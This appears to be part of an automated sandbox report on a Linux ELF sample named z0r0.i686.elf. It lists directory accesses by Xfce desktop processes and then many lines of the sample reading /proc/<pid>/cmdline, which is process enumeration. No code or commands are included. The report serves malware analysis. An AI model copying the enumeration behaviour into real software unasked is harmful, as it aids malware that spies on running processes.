      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/freefont/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/kacst/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/kacst-one/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/lao/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/lato/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/liberation/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/liberation2/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/lohit-assamese/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/lohit-bengali/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/lohit-kannada/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/lohit-oriya/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/lohit-tamil/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/lohit-telugu/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/malayalam/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/noto/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/openoffice/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/padauk/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/pagul/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/samyak/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/samyak-fonts/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/sinhala/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/tibetan-machine/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/tlwg/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/ubuntu/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/type1/urw-base35/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/X11/encodings/large/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /home/saturnino/.cacheJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /home/saturnino/.localJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /home/saturnino/.configJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /home/saturnino/.Xdefaults-galassiaJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/local/share/fonts/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /home/saturnino/.local/share/fonts/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /home/saturnino/.fonts/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/X11/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/cMap/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/cmap/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/opentype/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/type1/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/X11/Type1/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/X11/encodings/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/X11/misc/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/X11/util/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/cmap/adobe-cns1/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/cmap/adobe-gb1/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/cmap/adobe-japan1/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/cmap/adobe-japan2/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/cmap/adobe-korea1/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/opentype/malayalam/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/opentype/mathjax/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/opentype/noto/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/opentype/urw-base35/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/Gargi/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/Gubbi/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/Nakula/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/Navilu/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/Sahadeva/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/Sarai/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/abyssinica/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/ancient-scripts/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/dejavu/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/droid/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/freefont/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/kacst/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/kacst-one/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/lao/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/lato/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/liberation/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/liberation2/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/lohit-assamese/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/lohit-bengali/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/lohit-kannada/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/lohit-oriya/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/lohit-tamil/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/lohit-telugu/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/malayalam/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/noto/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/openoffice/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/padauk/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/pagul/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/samyak/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/samyak-fonts/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/sinhala/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/tibetan-machine/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/tlwg/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/truetype/ubuntu/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/type1/urw-base35/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Directory: /usr/share/fonts/X11/encodings/large/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5467)Directory: /home/saturnino/.cacheJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5467)Directory: /home/saturnino/.localJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5467)Directory: /home/saturnino/.configJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5467)Directory: /home/saturnino/.configJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5475)Directory: /home/saturnino/.Xdefaults-galassiaJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5475)Directory: /home/saturnino/.cacheJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5475)Directory: /home/saturnino/.localJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5475)Directory: /home/saturnino/.configJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/3122/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/3117/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/3114/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/5379/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/5415/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/914/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/518/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/5416/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/519/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/917/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/5274/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/5433/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/3134/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/3375/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/3132/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/3095/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/1745/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/1866/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/1588/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/884/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/1982/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/765/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/3246/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/767/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/800/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/1906/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/802/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/803/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/1748/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/5440/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/5441/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/5442/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/5443/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/5444/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/3420/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/1482/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/490/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/1480/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/1755/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/1238/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/1875/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/2964/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/3413/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/1751/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/1872/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/2961/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/1475/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/656/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/778/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/657/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/5434/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/658/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/659/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/5436/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/418/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/936/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/419/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/816/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/1879/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/1891/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/3310/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/3153/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/780/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/660/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/1921/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/783/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/1765/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/2974/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/3707/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/1400/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/1884/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/3424/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/3708/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/2972/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/3709/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/3147/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/2970/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/1881/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/3146/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/3300/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/5445/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/1805/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/1925/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/1804/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/1648/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/1922/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/3429/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/3442/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/3165/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/3164/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/3163/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/3162/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/790/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/3161/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/792/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/793/cmdlineJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)File opened: /proc/672/cmdlineJump to behavior
